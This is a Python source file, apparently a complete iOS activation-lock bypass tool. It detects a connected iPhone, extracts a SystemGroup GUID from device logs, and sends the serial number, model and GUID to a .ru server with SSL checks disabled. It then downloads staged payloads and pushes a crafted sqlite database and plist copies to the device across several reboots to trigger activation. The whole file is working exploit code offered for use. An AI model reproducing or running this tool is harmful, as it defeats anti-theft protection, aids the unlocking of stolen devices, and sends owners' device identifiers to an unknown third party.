activator.py 33 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836
  1. import sys
  2. import os
  3. import time
  4. import subprocess
  5. import re
  6. import shutil
  7. import sqlite3
  8. import atexit
  9. import urllib.parse
  10. import json
  11. import struct
  12. import binascii
  13. from collections import Counter
  14. from pathlib import Path
  15. def get_bundle_path():
  16. """Получает путь к ресурсам в .app bundle"""
  17. if getattr(sys, 'frozen', False):
  18. # Мы внутри .app
  19. bundle_path = Path(sys.executable).parent.parent.parent
  20. resources_path = bundle_path / 'Contents' / 'Resources'
  21. return resources_path
  22. else:
  23. # Обычный Python
  24. return Path.cwd()
  25. def find_binary(bin_name):
  26. """Ищет бинарник в bundle или системе"""
  27. resources_path = get_bundle_path()
  28. bundle_bin_path = resources_path / 'bin' / bin_name
  29. # Пробуем bundle сначала
  30. if bundle_bin_path.exists():
  31. return str(bundle_bin_path)
  32. # Пробуем системные пути
  33. system_paths = ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin']
  34. for path in system_paths:
  35. sys_bin_path = Path(path) / bin_name
  36. if sys_bin_path.exists():
  37. return str(sys_bin_path)
  38. return None
  39. class Style:
  40. RESET = '\033[0m'
  41. BOLD = '\033[1m'
  42. DIM = '\033[2m'
  43. RED = '\033[0;31m'
  44. GREEN = '\033[0;32m'
  45. YELLOW = '\033[1;33m'
  46. BLUE = '\033[0;34m'
  47. MAGENTA = '\033[0;35m'
  48. CYAN = '\033[0;36m'
  49. class BypassAutomation:
  50. def __init__(self, auto_confirm_guid=False):
  51. self.api_url = "https://codex-r1nderpest-a12.ru/get2.php"
  52. self.timeouts = {
  53. 'asset_wait': 300,
  54. 'asset_delete_delay': 15,
  55. 'reboot_wait': 300,
  56. 'syslog_collect': 180
  57. }
  58. self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
  59. self.afc_mode = None
  60. self.device_info = {}
  61. self.guid = None
  62. self.attempt_count = 0
  63. self.max_attempts = 10
  64. self.auto_confirm_guid = auto_confirm_guid
  65. atexit.register(self._cleanup)
  66. def log(self, msg, level='info'):
  67. if level == 'info':
  68. print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
  69. elif level == 'error':
  70. print(f"{Style.RED}[✗]{Style.RESET} {msg}")
  71. elif level == 'warn':
  72. print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
  73. elif level == 'step':
  74. print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  75. print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
  76. print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  77. elif level == 'detail':
  78. print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
  79. elif level == 'success':
  80. print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
  81. elif level == 'attempt':
  82. print(f"{Style.CYAN}[🔄 Attempt {self.attempt_count}/{self.max_attempts}]{Style.RESET} {msg}")
  83. def _run_cmd(self, cmd, timeout=None):
  84. """Запускает команду с поддержкой .app bundle"""
  85. # Преобразуем команду для использования бинарников из bundle
  86. if isinstance(cmd, list) and cmd:
  87. bin_name = cmd[0]
  88. full_path = find_binary(bin_name)
  89. if full_path:
  90. cmd[0] = full_path
  91. elif isinstance(cmd, str):
  92. parts = cmd.split()
  93. if parts:
  94. bin_name = parts[0]
  95. full_path = find_binary(bin_name)
  96. if full_path:
  97. cmd = cmd.replace(bin_name, full_path, 1)
  98. # Настраиваем окружение для .app
  99. env = os.environ.copy()
  100. resources_path = get_bundle_path()
  101. # Добавляем bin директорию в PATH
  102. bin_dir = resources_path / 'bin'
  103. if bin_dir.exists():
  104. env['PATH'] = str(bin_dir) + ':' + env.get('PATH', '')
  105. # Добавляем lib директорию для библиотек
  106. lib_dir = resources_path / 'lib'
  107. if lib_dir.exists():
  108. env['DYLD_LIBRARY_PATH'] = str(lib_dir) + ':' + env.get('DYLD_LIBRARY_PATH', '')
  109. try:
  110. result = subprocess.run(
  111. cmd,
  112. capture_output=True,
  113. text=True,
  114. timeout=timeout,
  115. shell=isinstance(cmd, str),
  116. env=env
  117. )
  118. return result.returncode, result.stdout, result.stderr
  119. except subprocess.TimeoutExpired:
  120. return -1, "", "Command timed out"
  121. except Exception as e:
  122. return -1, "", str(e)
  123. def wait_for_file(self, file_path, timeout=60):
  124. """Ожидание появления файла с таймаутом"""
  125. self.log(f"⏳ Waiting for {file_path}...", "detail")
  126. start_time = time.time()
  127. while time.time() - start_time < timeout:
  128. if self.afc_mode == "ifuse":
  129. if self.mount_afc():
  130. fpath = self.mount_point + file_path
  131. if os.path.exists(fpath):
  132. file_size = os.path.getsize(fpath)
  133. if file_size > 0:
  134. self.log(f"✅ File found ({file_size} bytes)", "success")
  135. return True
  136. else:
  137. # Проверка через pymobiledevice3
  138. tmp_file = f"temp_check_{os.getpid()}.tmp"
  139. code, _, _ = self._run_cmd(["pymobiledevice3", "afc", "pull", file_path, tmp_file])
  140. if code == 0 and os.path.exists(tmp_file):
  141. file_size = os.path.getsize(tmp_file)
  142. os.remove(tmp_file)
  143. if file_size > 0:
  144. self.log(f"✅ File found ({file_size} bytes)", "success")
  145. return True
  146. time.sleep(5)
  147. self.log(" ▫ Still waiting...", "detail")
  148. self.log(f"❌ Timeout waiting for {file_path}", "error")
  149. return False
  150. def _curl_download(self, url, output_file):
  151. """Download with SSL verification disabled"""
  152. curl_cmd = [
  153. "curl", "-L",
  154. "-k", # ← КЛЮЧЕВОЕ: отключает проверку SSL
  155. "-f", # Fail on HTTP errors
  156. "--connect-timeout", "30",
  157. "--max-time", "120",
  158. "-o", output_file,
  159. url
  160. ]
  161. self.log(f"Downloading: {url}", "detail")
  162. code, out, err = self._run_cmd(curl_cmd)
  163. if code != 0:
  164. self.log(f"Download failed (code {code}): {err}", "error")
  165. return False
  166. if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
  167. self.log(f"Download successful: {os.path.getsize(output_file)} bytes", "info")
  168. return True
  169. else:
  170. self.log("Download failed: empty file", "error")
  171. return False
  172. def reboot_device(self):
  173. """Reboots device and waits for readiness"""
  174. self.log("Rebooting device...", "step")
  175. # Try using pymobiledevice3 for reboot
  176. code, _, err = self._run_cmd(["pymobiledevice3", "restart"])
  177. if code != 0:
  178. # Fallback to idevicediagnostics
  179. code, _, err = self._run_cmd(["idevicediagnostics", "restart"])
  180. if code != 0:
  181. self.log(f"Soft reboot failed: {err}", "warn")
  182. self.log("Please reboot device manually and press Enter to continue...", "warn")
  183. input()
  184. return True
  185. self.log("Device reboot command sent, waiting for reconnect...", "info")
  186. # Wait for device reboot
  187. for i in range(60): # 60 attempts × 5 seconds = 5 minutes
  188. time.sleep(5)
  189. code, _, _ = self._run_cmd(["ideviceinfo"])
  190. if code == 0:
  191. self.log(f"Device reconnected after {i * 5} seconds", "success")
  192. # Give device extra time for full boot
  193. time.sleep(10)
  194. return True
  195. if i % 6 == 0: # Every 30 seconds
  196. self.log(f"Still waiting for device... ({i * 5} seconds)", "detail")
  197. self.log("Device did not reconnect in time", "error")
  198. return False
  199. def verify_dependencies(self):
  200. self.log("Verifying System Requirements...", "step")
  201. # Проверяем доступность бинарников
  202. required_bins = ['ideviceinfo', 'idevice_id']
  203. for bin_name in required_bins:
  204. path = find_binary(bin_name)
  205. if path:
  206. self.log(f"✅ {bin_name}: {path}", "info")
  207. else:
  208. self.log(f"❌ {bin_name}: Not found", "error")
  209. raise Exception(f"Required binary not found: {bin_name}")
  210. if find_binary("ifuse"):
  211. self.afc_mode = "ifuse"
  212. self.log("✅ ifuse found - using ifuse mode", "info")
  213. else:
  214. self.afc_mode = "pymobiledevice3"
  215. self.log("⚠ ifuse not found - using pymobiledevice3 mode", "warn")
  216. def mount_afc(self):
  217. if self.afc_mode != "ifuse":
  218. return True
  219. os.makedirs(self.mount_point, exist_ok=True)
  220. code, out, _ = self._run_cmd(["mount"])
  221. if self.mount_point in out:
  222. return True
  223. for i in range(5):
  224. code, _, _ = self._run_cmd(["ifuse", self.mount_point])
  225. if code == 0:
  226. return True
  227. time.sleep(2)
  228. self.log("Failed to mount via ifuse", "error")
  229. return False
  230. def unmount_afc(self):
  231. if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
  232. self._run_cmd(["umount", self.mount_point])
  233. try:
  234. os.rmdir(self.mount_point)
  235. except OSError:
  236. pass
  237. def _cleanup(self):
  238. """Ensure cleanup on exit"""
  239. self.unmount_afc()
  240. def detect_device(self):
  241. self.log("Detecting Device...", "step")
  242. code, out, err = self._run_cmd(["ideviceinfo"])
  243. if code != 0:
  244. self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
  245. raise Exception("No device detected")
  246. info = {}
  247. for line in out.splitlines():
  248. if ": " in line:
  249. key, val = line.split(": ", 1)
  250. info[key.strip()] = val.strip()
  251. self.device_info = info
  252. print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
  253. print(f"UDID: {info.get('UniqueDeviceID','?')}")
  254. if info.get('ActivationState') == 'Activated':
  255. print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
  256. def afc_copy(self, src_path: str, dst_path: str) -> bool:
  257. try:
  258. if self.afc_mode == "ifuse":
  259. if not self.mount_afc():
  260. raise RuntimeError("ifuse remount failed")
  261. src_local = self.mount_point + src_path
  262. dst_local = self.mount_point + dst_path
  263. if not os.path.exists(src_local) or os.path.getsize(src_local) == 0:
  264. return False
  265. os.makedirs(os.path.dirname(dst_local), exist_ok=True)
  266. shutil.copy2(src_local, dst_local)
  267. return True
  268. else:
  269. tmp = "temp_plist_copy.plist"
  270. code, _, err = self._run_cmd(["pymobiledevice3", "afc", "pull", src_path, tmp])
  271. if code != 0 or not os.path.exists(tmp) or os.path.getsize(tmp) == 0:
  272. if os.path.exists(tmp):
  273. os.remove(tmp)
  274. return False
  275. code2, _, err2 = self._run_cmd(["pymobiledevice3", "afc", "push", tmp, dst_path])
  276. if os.path.exists(tmp):
  277. os.remove(tmp)
  278. return code2 == 0
  279. except Exception as e:
  280. self.log(f"afc_copy failed: {e}", "error")
  281. return False
  282. def get_guid_manual(self):
  283. """Manual GUID input with validation"""
  284. print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
  285. print(f" Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  286. print(f" Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
  287. UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
  288. while True:
  289. guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
  290. if UUID_PATTERN.match(guid_input):
  291. return guid_input.upper()
  292. print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
  293. def parse_tracev3_structure(self, data):
  294. """Parses tracev3 file structure for more precise search"""
  295. signatures = []
  296. # Search for database-related strings
  297. db_patterns = [
  298. b'BLDatabaseManager',
  299. b'BLDatabase',
  300. b'BLDatabaseManager.sqlite',
  301. b'bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup',
  302. ]
  303. for pattern in db_patterns:
  304. pos = 0
  305. while True:
  306. pos = data.find(pattern, pos)
  307. if pos == -1:
  308. break
  309. signatures.append(('string', pattern, pos))
  310. pos += len(pattern)
  311. return signatures
  312. def extract_guid_candidates(self, data, context_pos, window_size=512):
  313. """Extracts GUIDs with contextual analysis"""
  314. candidates = []
  315. # Extended GUID pattern
  316. guid_pattern = re.compile(
  317. rb'([0-9A-F]{8}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{4}[-][0-9A-F]{12})',
  318. re.IGNORECASE
  319. )
  320. # Search in context window
  321. start = max(0, context_pos - window_size)
  322. end = min(len(data), context_pos + window_size)
  323. context_data = data[start:end]
  324. # GUID search
  325. for match in guid_pattern.finditer(context_data):
  326. guid = match.group(1).decode('ascii').upper()
  327. relative_pos = match.start() + start - context_pos
  328. # Extended GUID validation
  329. if self.validate_guid_structure(guid):
  330. candidates.append({
  331. 'guid': guid,
  332. 'position': relative_pos,
  333. 'context': self.get_context_string(context_data, match.start(), match.end())
  334. })
  335. return candidates
  336. def validate_guid_structure(self, guid):
  337. """Extended GUID structure validation"""
  338. try:
  339. # Check GUID version (RFC 4122)
  340. parts = guid.split('-')
  341. if len(parts) != 5:
  342. return False
  343. # Check part lengths
  344. if len(parts[0]) != 8 or len(parts[1]) != 4 or len(parts[2]) != 4 or len(parts[3]) != 4 or len(parts[4]) != 12:
  345. return False
  346. # Check hex characters
  347. hex_chars = set('0123456789ABCDEF')
  348. clean_guid = guid.replace('-', '')
  349. if not all(c in hex_chars for c in clean_guid):
  350. return False
  351. # Check version (4th character of 3rd group should be 4)
  352. version_char = parts[2][0]
  353. if version_char not in '4':
  354. return False # iOS commonly uses version 4
  355. # Check variant (8,9,A,B - 2 high bits)
  356. variant_char = parts[3][0]
  357. if variant_char not in '89AB':
  358. return False
  359. return True
  360. except Exception:
  361. return False
  362. def get_context_string(self, data, start, end, context_size=50):
  363. """Gets context string around GUID"""
  364. context_start = max(0, start - context_size)
  365. context_end = min(len(data), end + context_size)
  366. context = data[context_start:context_end]
  367. try:
  368. # Try to decode as text
  369. return context.decode('utf-8', errors='replace')
  370. except:
  371. # For binary data show hex
  372. return binascii.hexlify(context).decode('ascii')
  373. def analyze_guid_confidence(self, guid_candidates):
  374. """Analyzes confidence in found GUIDs"""
  375. if not guid_candidates:
  376. return None
  377. # Group by GUID
  378. guid_counts = Counter(candidate['guid'] for candidate in guid_candidates)
  379. # Calculate score for each GUID
  380. scored_guids = []
  381. for guid, count in guid_counts.items():
  382. score = count * 10 # Base score by occurrence count
  383. # Additional confidence factors
  384. positions = [c['position'] for c in guid_candidates if c['guid'] == guid]
  385. # Preference for GUIDs close to BLDatabaseManager
  386. close_positions = [p for p in positions if abs(p) < 100]
  387. if close_positions:
  388. score += len(close_positions) * 5
  389. # Preference for GUIDs before BLDatabaseManager (more common in logs)
  390. before_positions = [p for p in positions if p < 0]
  391. if before_positions:
  392. score += len(before_positions) * 3
  393. scored_guids.append((guid, score, count))
  394. # Sort by score
  395. scored_guids.sort(key=lambda x: x[1], reverse=True)
  396. return scored_guids
  397. def confirm_guid_manual(self, guid):
  398. """Requests manual confirmation — bypassed in auto mode"""
  399. if self.auto_confirm_guid:
  400. self.log(f"[AUTO] Low-confidence GUID auto-approved: {guid}", "info")
  401. return True
  402. else:
  403. # Оригинальный интерактивный запрос (для CLI)
  404. print(f"Proposed GUID: {Style.BOLD}{guid}{Style.RESET}")
  405. print(f"This GUID has lower confidence score. Please verify:")
  406. print(f"1. Check if this matches GUID from other sources")
  407. print(f"2. Verify the format looks correct")
  408. response = input(f"\n{Style.BLUE}Use this GUID? (y/N):{Style.RESET} ").strip().lower()
  409. return response in ['y', 'yes']
  410. def get_guid_enhanced(self):
  411. """Enhanced GUID extraction version"""
  412. self.attempt_count += 1
  413. self.log(f"GUID search attempt {self.attempt_count}/{self.max_attempts}", "attempt")
  414. udid = self.device_info['UniqueDeviceID']
  415. log_path = f"{udid}.logarchive"
  416. try:
  417. # Collect logs
  418. self.log("Collecting device logs...", "detail")
  419. code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
  420. if code != 0:
  421. self.log(f"Log collection failed: {err}", "error")
  422. return None
  423. trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
  424. if not os.path.exists(trace_file):
  425. self.log("tracev3 file not found", "error")
  426. return None
  427. # Read and analyze file
  428. with open(trace_file, 'rb') as f:
  429. data = f.read()
  430. size_mb = len(data) / (1024 * 1024)
  431. self.log(f"Analyzing tracev3 ({size_mb:.1f} MB)...", "detail")
  432. # Search for key structures
  433. signatures = self.parse_tracev3_structure(data)
  434. self.log(f"Found {len(signatures)} relevant signatures", "detail")
  435. # Collect GUID candidates
  436. all_candidates = []
  437. bl_database_positions = []
  438. for sig_type, pattern, pos in signatures:
  439. if pattern == b'BLDatabaseManager':
  440. bl_database_positions.append(pos)
  441. candidates = self.extract_guid_candidates(data, pos)
  442. all_candidates.extend(candidates)
  443. if candidates:
  444. self.log(f"Found {len(candidates)} GUID candidates near BLDatabaseManager at 0x{pos:x}", "detail")
  445. if not all_candidates:
  446. self.log("No valid GUID candidates found", "error")
  447. return None
  448. # Confidence analysis
  449. scored_guids = self.analyze_guid_confidence(all_candidates)
  450. if not scored_guids:
  451. return None
  452. # Log results
  453. self.log("GUID confidence analysis:", "info")
  454. for guid, score, count in scored_guids[:5]:
  455. self.log(f" {guid}: score={score}, occurrences={count}", "detail")
  456. best_guid, best_score, best_count = scored_guids[0]
  457. # Determine confidence level
  458. if best_score >= 30:
  459. confidence = "HIGH"
  460. self.log(f"✅ HIGH CONFIDENCE: {best_guid} (score: {best_score})", "success")
  461. elif best_score >= 15:
  462. confidence = "MEDIUM"
  463. self.log(f"⚠️ MEDIUM CONFIDENCE: {best_guid} (score: {best_score})", "warn")
  464. else:
  465. confidence = "LOW"
  466. self.log(f"⚠️ LOW CONFIDENCE: {best_guid} (score: {best_score})", "warn")
  467. # Additional verification for low confidence
  468. if confidence in ["LOW", "MEDIUM"]:
  469. self.log("Requesting manual confirmation for low-confidence GUID...", "warn")
  470. if not self.confirm_guid_manual(best_guid):
  471. return None
  472. return best_guid
  473. finally:
  474. # Cleanup
  475. if os.path.exists(log_path):
  476. shutil.rmtree(log_path)
  477. def get_guid_auto_with_retry(self):
  478. """Auto-detect GUID with reboot retry mechanism"""
  479. self.attempt_count = 0
  480. while self.attempt_count < self.max_attempts:
  481. guid = self.get_guid_enhanced()
  482. if guid:
  483. return guid
  484. # If not last attempt - reboot device
  485. if self.attempt_count < self.max_attempts:
  486. self.log(f"GUID not found in attempt {self.attempt_count}. Rebooting device and retrying...", "warn")
  487. if not self.reboot_device():
  488. self.log("Failed to reboot device, continuing anyway...", "warn")
  489. # After reboot re-detect device
  490. self.log("Re-detecting device after reboot...", "detail")
  491. self.detect_device()
  492. # Small pause before next attempt
  493. time.sleep(5)
  494. else:
  495. self.log(f"All {self.max_attempts} attempts exhausted", "error")
  496. return None
  497. def get_guid_auto(self):
  498. """Auto-detect GUID using enhanced method with retry"""
  499. return self.get_guid_auto_with_retry()
  500. def get_all_urls_from_server(self, prd, guid, sn):
  501. """Requests all three URLs (stage1, stage2, stage3) from the server"""
  502. params = f"prd={prd}&guid={guid}&sn={sn}"
  503. url = f"{self.api_url}?{params}"
  504. self.log(f"Requesting all URLs from server: {url}", "detail")
  505. # Используем curl с отключенной SSL проверкой
  506. code, out, err = self._run_cmd(["curl", "-s", "-k", url]) # ← -k добавлено здесь
  507. if code != 0:
  508. self.log(f"Server request failed: {err}", "error")
  509. return None, None, None
  510. try:
  511. data = json.loads(out)
  512. if data.get('success'):
  513. stage1_url = data['links']['step1_fixedfile']
  514. stage2_url = data['links']['step2_bldatabase']
  515. stage3_url = data['links']['step3_final']
  516. return stage1_url, stage2_url, stage3_url
  517. else:
  518. self.log("Server returned error response", "error")
  519. return None, None, None
  520. except json.JSONDecodeError:
  521. self.log("Server did not return valid JSON", "error")
  522. return None, None, None
  523. def preload_stage(self, stage_name, stage_url):
  524. """Pre-load individual stage with SSL bypass"""
  525. self.log(f"Pre-loading: {stage_name}...", "detail")
  526. # Используем нашу улучшенную функцию загрузки
  527. temp_file = f"temp_{stage_name}"
  528. success = self._curl_download(stage_url, temp_file)
  529. if success:
  530. self.log(f"Successfully pre-loaded {stage_name}", "info")
  531. # Удаляем временный файл
  532. if os.path.exists(temp_file):
  533. os.remove(temp_file)
  534. return True
  535. else:
  536. self.log(f"Warning: Failed to pre-load {stage_name}", "warn")
  537. return False
  538. def run(self):
  539. os.system('clear')
  540. print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
  541. self.verify_dependencies()
  542. self.detect_device()
  543. print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
  544. print(f" 1. {Style.GREEN}Auto-detect from device logs (with retry){Style.RESET}")
  545. print(f" 2. {Style.YELLOW}Manual input{Style.RESET}")
  546. choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
  547. if choice == "1":
  548. self.guid = self.get_guid_auto()
  549. if self.guid:
  550. self.log(f"Auto-detected GUID after {self.attempt_count} attempt(s): {self.guid}", "success")
  551. else:
  552. self.log(f"Could not auto-detect GUID after {self.attempt_count} attempts, falling back to manual input", "warn")
  553. self.guid = self.get_guid_manual()
  554. else:
  555. self.guid = self.get_guid_manual()
  556. self.log(f"Using GUID: {self.guid}", "info")
  557. input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
  558. # 2. API Call & Get All URLs
  559. self.log("Requesting All Payload Stages from Server...", "step")
  560. prd = self.device_info['ProductType']
  561. sn = self.device_info['SerialNumber']
  562. stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
  563. if not stage1_url or not stage2_url or not stage3_url:
  564. self.log("Failed to get URLs from server", "error")
  565. sys.exit(1)
  566. self.log(f"Stage1 URL: {stage1_url}", "detail")
  567. self.log(f"Stage2 URL: {stage2_url}", "detail")
  568. self.log(f"Stage3 URL: {stage3_url}", "detail")
  569. # 3. Pre-download all stages с SSL bypass
  570. self.log("Pre-loading all payload stages...", "step")
  571. stages = [
  572. ("stage1", stage1_url),
  573. ("stage2", stage2_url),
  574. ("stage3", stage3_url)
  575. ]
  576. for stage_name, stage_url in stages:
  577. self.preload_stage(stage_name, stage_url)
  578. time.sleep(1)
  579. # 4. Download & Validate final payload (stage3)
  580. self.log("Downloading final payload...", "step")
  581. local_db = "downloads.28.sqlitedb"
  582. if os.path.exists(local_db):
  583. os.remove(local_db)
  584. # Используем улучшенную загрузку
  585. if not self._curl_download(stage3_url, local_db):
  586. self.log("Final payload download failed", "error")
  587. sys.exit(1)
  588. # Validate database
  589. self.log("Validating payload database...", "detail")
  590. conn = sqlite3.connect(local_db)
  591. try:
  592. res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  593. if res.fetchone()[0] == 0:
  594. raise Exception("Invalid DB - no asset table found")
  595. res = conn.execute("SELECT COUNT(*) FROM asset")
  596. count = res.fetchone()[0]
  597. if count == 0:
  598. raise Exception("Invalid DB - no records in asset table")
  599. self.log(f"Database validation passed - {count} records found", "info")
  600. res = conn.execute("SELECT pid, url, local_path FROM asset")
  601. for row in res.fetchall():
  602. self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
  603. except Exception as e:
  604. self.log(f"Invalid payload received: {e}", "error")
  605. sys.exit(1)
  606. finally:
  607. conn.close()
  608. # 5. Upload
  609. self.log("Uploading Payload via AFC...", "step")
  610. target = "/Downloads/downloads.28.sqlitedb"
  611. if self.afc_mode == "ifuse":
  612. if not self.mount_afc():
  613. self.log("Mounting failed — falling back to pymobiledevice3", "warn")
  614. self.afc_mode = "pymobiledevice3"
  615. if self.afc_mode == "ifuse":
  616. fpath = self.mount_point + target
  617. if os.path.exists(fpath):
  618. os.remove(fpath)
  619. shutil.copy(local_db, fpath)
  620. self.log("Uploaded via ifuse", "info")
  621. else:
  622. self._run_cmd(["pymobiledevice3", "afc", "rm", target])
  623. code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
  624. if code != 0:
  625. self.log(f"AFC upload failed: {err}", "error")
  626. sys.exit(1)
  627. self.log("Uploaded via pymobiledevice3", "info")
  628. self.log("✅ Payload Deployed Successfully", "success")
  629. # 6. Cleanup WAL/SHM files
  630. self.log("Cleaning up WAL/SHM files in /Downloads...", "step")
  631. for wal_file in ["/Downloads/downloads.28.sqlitedb-wal", "/Downloads/downloads.28.sqlitedb-shm"]:
  632. if self.afc_mode == "ifuse":
  633. fpath = self.mount_point + wal_file
  634. if os.path.exists(fpath):
  635. try:
  636. os.remove(fpath)
  637. self.log(f"Removed {wal_file} via ifuse", "info")
  638. except Exception as e:
  639. self.log(f"Failed to remove {wal_file}: {e}", "warn")
  640. else:
  641. code, _, err = self._run_cmd(["pymobiledevice3", "afc", "rm", wal_file])
  642. if code == 0:
  643. self.log(f"Removed {wal_file} via pymobiledevice3", "info")
  644. else:
  645. if "ENOENT" not in err and "No such file" not in err:
  646. self.log(f"Warning removing {wal_file}: {err}", "warn")
  647. else:
  648. self.log(f"{wal_file} not present — OK", "detail")
  649. # === STAGE 1: FIRST REBOOT + COPY TO /Books/ ===
  650. self.log("🔄 STAGE 1: First reboot + copy to /Books/...", "step")
  651. if not self.reboot_device():
  652. self.log("⚠ First reboot failed — continuing anyway", "warn")
  653. self.log("Waiting 30 seconds for iTunesMetadata.plist to appear...", "detail")
  654. for _ in range(3): # 6 × 5s = 30s
  655. time.sleep(5)
  656. self.log(" ▫ Waiting...", "detail")
  657. src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
  658. dst_books = "/Books/iTunesMetadata.plist"
  659. # Copy → /Books/
  660. self.log(f"Copying {src} → {dst_books}...", "info")
  661. if self.afc_copy(src, dst_books):
  662. self.log("✅ Copied to /Books/ successfully", "success")
  663. else:
  664. self.log("⚠ /iTunes_Control/iTunes/iTunesMetadata.plist not found — skipping copy to /Books/", "warn")
  665. # === STAGE 2: SECOND REBOOT + COPY BACK ===
  666. self.log("🔄 STAGE 2: Second reboot + copy back to /iTunes_Control/...", "step")
  667. if not self.reboot_device():
  668. self.log("⚠ Second reboot failed — continuing anyway", "warn")
  669. # Copy back: /Books/ → /iTunes_Control/iTunes/
  670. self.log(f"Copying {dst_books} → {src}...", "info")
  671. if self.afc_copy(dst_books, src):
  672. self.log("✅ Copied back to /iTunes_Control/ successfully", "success")
  673. else:
  674. self.log("⚠ /Books/iTunesMetadata.plist missing — copy-back skipped", "warn")
  675. # Wait 15 seconds — bookassetd processes the plist copy
  676. self.log("⏸ Holding 15s for bookassetd...", "detail")
  677. time.sleep(40)
  678. # === FINAL REBOOT ===
  679. self.log("🔄 Final reboot to trigger MobileActivation...", "step")
  680. self.reboot_device()
  681. # ✅ Final success banner
  682. print(f"\n{Style.GREEN}{Style.BOLD}🎉 АКТИВАЦИЯ ЗАВЕРШЕНА УСПЕШНО!{Style.RESET}")
  683. print(f"{Style.CYAN}→ GUID: {Style.BOLD}{self.guid}{Style.RESET}")
  684. print(f"{Style.CYAN}→ Payload deployed, plist synced ×2, 3 reboots performed.{Style.RESET}")
  685. print(f"\n{Style.YELLOW}📌 Что делать дальше:{Style.RESET}")
  686. if __name__ == "__main__":
  687. try:
  688. BypassAutomation().run()
  689. except KeyboardInterrupt:
  690. print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
  691. sys.exit(0)
  692. except Exception as e:
  693. print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
  694. sys.exit(1)